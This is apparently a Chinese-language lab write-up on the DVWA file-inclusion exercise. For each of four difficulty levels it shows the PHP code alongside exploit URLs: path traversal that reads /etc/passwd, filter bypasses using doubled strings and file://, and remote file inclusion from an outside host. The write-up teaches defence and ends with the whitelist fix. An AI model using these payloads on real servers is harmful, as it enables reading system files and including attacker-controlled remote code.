前言
在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。
详见: 漏洞之文件包含漏洞
下面分别分析四种级别的文件包含漏洞:
-
Low
服务端核心代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到, 程序直接调用了page参数传入的文件, 这就到导致了文件包含漏洞。
当我们分别点击页面展示的文件时, 发现参数page也随之变化:
由此可知, page参数是不可控的, 攻击者可以利用page做恶意攻击。
漏洞利用
那我们就可以利用之, 将其包含出服务器下的其他文件:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=/etc/passwd
也可以利用相对路径:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=../../../../../etc/profile
当然了, 也可以进行远程文件包含:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=http://www.***.com/zb_users/upload/2019/12/201912151576406028214564.jpg
-
Medium
服务端核心代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
服务端对远程包含(http://)和相对路径的使用(../) 进行了过滤
漏洞利用
1. 但是并没有过滤绝对路径, 所以依然可以用绝对路径包含文件
2. 使用str_replace()函数替换是非常不安全的, 它只能替换一次, 并不是把所有符合条件的都替换掉, 攻击者依旧可以用双写绕过替换规则:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=..././..././..././..././..././etc/profile
同样, 对于远程包含漏洞, 也可以用双写绕过替换规则:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=hhttp://ttp://www.***.com/zb_users/upload/2019/12/201912151576406028214564.jpg
-
High
服务端核心代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
服务端使用fnmatch()函数进行过滤, 要求page参数的开头必须是file。
漏洞利用
虽然参数page必须已file开头, 但是我们依旧可以使用file协议来绕过:
http://localhost/DVWA/vulnerabilities/fi/index.php?page=file:///home/meta/fileHack.txt
-
Impossible
服务端核心代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这里用了白名单过滤..枚举出指定条件, 符合则包含之, 否则过滤之。彻底杜绝了文件包含漏洞。